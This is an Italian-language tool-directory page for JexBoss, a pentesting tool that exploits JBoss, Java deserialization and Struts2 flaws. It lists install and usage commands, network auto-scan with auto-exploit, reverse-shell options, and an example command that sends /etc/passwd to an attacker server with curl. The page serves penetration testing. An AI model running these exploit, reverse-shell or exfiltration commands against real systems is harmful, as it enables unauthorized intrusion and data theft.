Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/joaomatosf/jexboss
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubjoaomatosf/jexboss

jexboss

JexBoss: Jboss (e Vulnerabilità di deserializzazione Java) strumento di verifica e sfruttamento

Vedi Repository
2.5k6409 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

JexBoss - JBoss (e altre vulnerabilità di deserializzazione Java) strumento di verifica e sfruttamento

JexBoss è uno strumento per testare e sfruttare vulnerabilità in JBoss Application Server e in altre piattaforme, framework, applicazioni Java, ecc.

Requisiti

  • Python >= 2.7.x
  • urllib3
  • ipaddress

Installazione su Linux\Mac

Per installare l'ultima versione di JexBoss, usa i seguenti comandi:

root@kitploit:~
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

OPPURE:

Scarica l'ultima versione da: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

Se stai usando CentOS con Python 2.6, installa Python 2.7. Esempio di installazione di Python 2.7 su CentOS usando Collections Software scl:

root@kitploit:~
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Installazione su Windows

Se stai usando Windows, puoi usare Git Bash per eseguire JexBoss. Segui i passaggi sotto:

  • Scarica e installa Python
  • Scarica e installa Git for Windows
  • Dopo l'installazione, esegui Git for Windows e digita i seguenti comandi:
root@kitploit:~
    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

Caratteristiche

Lo strumento e gli exploit sono stati sviluppati e testati per:

  • Versioni di JBoss Application Server: 3, 4, 5 e 6.
  • Vulnerabilità di deserializzazione Java in molteplici framework, piattaforme e applicazioni Java (es., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), ecc.)

I vettori di sfruttamento sono:

  • /admin-console
    • testato e funzionante nelle versioni JBoss 5 e 6
  • /jmx-console
    • testato e funzionante nelle versioni JBoss 4, 5 e 6
  • /web-console/Invoker
    • testato e funzionante nelle versioni JBoss 4, 5 e 6
  • /invoker/JMXInvokerServlet
    • testato e funzionante nelle versioni JBoss 4, 5 e 6
  • Deserializzazione dell'applicazione
    • testato e funzionante contro molteplici applicazioni Java, piattaforme, ecc., tramite parametri HTTP POST
  • Deserializzazione del Servlet
    • testato e funzionante contro molteplici applicazioni Java, piattaforme, ecc., tramite servlet che elaborano oggetti serializzati (es., quando vedi un "Invoker" in un link)
  • Apache Struts2 CVE-2017-5638
    • testato su applicazioni Apache Struts 2
  • Altri

Video

  • Sfruttamento delle vulnerabilità di deserializzazione Java (RCE) su applicazioni JSF/Seam tramite javax.faces.ViewState con JexBoss

Sfruttamento delle vulnerabilità di deserializzazione Java

  • Sfruttamento di JBoss Application Server con JexBoss

Sfruttamento di JBoss Application Server

  • Sfruttamento di Apache Struts2 (RCE) con JexBoss (CVE-2017-5638)

Sfruttamento di Apache Struts2

Screenshot

  • Esempi di utilizzo semplice:
root@kitploit:~
$ python jexboss.py

testo alternativo

  • Esempio di modalità standalone contro JBoss:
root@kitploit:~
$ python jexboss.py -u http://192.168.0.26:8080

testo alternativo testo alternativo

  • Modalità di utilizzo:
root@kitploit:~
$ python jexboss.py -h
  • Modalità scansione di rete:
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

testo alternativo

  • Modalità scansione di rete con auto-exploit:
root@kitploit:~
$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

testo alternativo

  • Risultati e raccomandazioni:

testo alternativo

Reverse Shell (integrazione meterpreter)

Dopo aver sfruttato un server JBoss, puoi usare la shell dei comandi di jexboss stessa o effettuare una connessione inversa usando il seguente comando:

root@kitploit:~
   jexremote=YOUR_IP:YOUR_PORT

   Esempio:
     Shell>jexremote=192.168.0.10:4444
  • Esempio: testo alternativo

Quando si sfruttano vulnerabilità di deserializzazione Java (deserializzazione dell'applicazione, deserializzazione del servlet), le opzioni predefinite sono: effettuare una connessione inversa o inviare un comando da eseguire.

Esempi di utilizzo

  • Per vulnerabilità di deserializzazione Java in un parametro HTTP personalizzato e per inviare un comando personalizzato da eseguire sul server sfruttato:
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
  • Per vulnerabilità di deserializzazione Java in un parametro HTTP personalizzato e per effettuare una reverse shell (verrà richiesto un indirizzo IP e una porta del tuo host remoto):
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
  • Per vulnerabilità di deserializzazione Java in un Servlet (come Invoker):
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
  • Per Apache Struts 2 (CVE-2017-5638)
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
  • Per Apache Struts 2 (CVE-2017-5638) con cookie per risorse autenticate
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
  • Modalità scansione automatica:
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
  • Modalità scansione da file:
root@kitploit:~
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
  • Altre opzioni:
root@kitploit:~
optional arguments:
  -h, --help            mostra questo messaggio di aiuto ed esci
  --version             mostra il numero di versione del programma ed esci
  --auto-exploit, -A    Invia automaticamente il codice di exploit (USARE SOLO SE SI HA
                        IL PERMESSO!!!)
  --disable-check-updates, -D
                        Disabilita due controlli di aggiornamento: 1) Controllo aggiornamenti
                        eseguito dalla webshell sul server sfruttato all'indirizzo
                        http://webshell.jexboss.net/jsp_version.txt e 2)
                        controllo aggiornamenti eseguito dal client jexboss all'indirizzo
                        http://joaomatosf.com/rnp/releases.txt
  -mode {standalone,auto-scan,file-scan}
                        Modalità operativa (DEFAULT: standalone)
  --app-unserialize, -j
                        Verifica le vulnerabilità di deserializzazione Java nei parametri
                        HTTP (es. javax.faces.ViewState, oldFormData,
                        ecc.)
  --servlet-unserialize, -l
                        Verifica le vulnerabilità di deserializzazione Java nei
                        Servlet (come interfacce Invoker)
  --jboss               Verifica solo vettori JBOSS.
  --jenkins             Verifica solo vettore Jenkins CLI.
  --jmxtomcat           Verifica JMX JmxRemoteLifecycleListener in Tomcat
                        (CVE-2016-8735 e CVE-2016-8735). NOTA: Non sarà
                        verificato di default.
  --proxy PROXY, -P PROXY
                        Usa un proxy http per connettersi all'URL target (es. -P
                        http://192.168.0.1:3128)
  --proxy-cred LOGIN:PASS, -L LOGIN:PASS
                        Credenziali di autenticazione proxy (es. -L nome:password)
  --jboss-login LOGIN:PASS, -J LOGIN:PASS
                        Login e password JBoss per sfruttare admin-console in
                        JBoss 5 e JBoss 6 (default: admin:admin)
  --timeout TIMEOUT     Secondi di attesa prima del timeout della connessione (default 3)

Modalità standalone:
  -host HOST, -u HOST   Indirizzo host da controllare (es. -u
                        http://192.168.0.10:8080)

Opzioni avanzate (USARE QUANDO SI SFRUTTA JAVA UNSERIALIZE NELLO STRATO APPLICATIVO):
  --reverse-host RHOST:RPORT, -r RHOST:RPORT
                        Indirizzo host remoto e porta per reverse shell quando
                        si sfruttano vulnerabilità di deserializzazione Java
                        nello strato applicativo (per ora, funziona solo su sistemi *nix)
                        (es. 192.168.0.10:1331)
  --cmd CMD, -x CMD     Invia un comando specifico da eseguire sul target (es. curl -d
                        @/etc/passwd http://your_server)
  --windows, -w         Specifica che i comandi sono per un sistema rWINDOWS
                        (cmd.exe)
  --post-parameter PARAMETER, -H PARAMETER
                        Specifica il parametro in cui trovare e iniettare oggetti
                        serializzati. (es. -H javax.faces.ViewState o -H
                        oldFormData (<- Ciao PayPal =X) o altri) (DEFAULT:
                        javax.faces.ViewState)
  --show-payload, -t    Stampa il payload generato.
  --gadget {commons-collections3.1,commons-collections4.0,groovy1}
                        Specifica il tipo di gadget per generare automaticamente il
                        payload. (DEFAULT: commons-collections3.1 o
                        groovy1 per Jenkins)
  --load-gadget FILENAME
                        Fornisci il tuo gadget da file (un oggetto serializzato Java
                        in modalità RAW)
  --force, -F           Forza l'invio di gadget serializzati Java all'URL specificato
                        con -u. Questo invierà il payload in più formati
                        (es. RAW, GZIPED e BASE64) e con diversi
                        Content-Type.

Modalità scansione automatica:
  -network NETWORK      Rete da controllare in formato CIDR (es. 10.0.0.0/8)
  -ports PORTS          Elenco di porte separate da virgole da controllare per
                        ciascun host (es. 8080,8443,8888,80,443)
  -results FILENAME     Nome file per salvare i risultati della scansione automatica

Modalità scansione da file:
  -file FILENAME_HOSTS  Nome file con elenco di host da scansionare (un host per
                        riga)
  -out FILENAME_RESULTS
                        Nome file per salvare i risultati della scansione da file

Domande, problemi, suggerimenti, ecc.:

  • [email protected]
Scarica lo strumento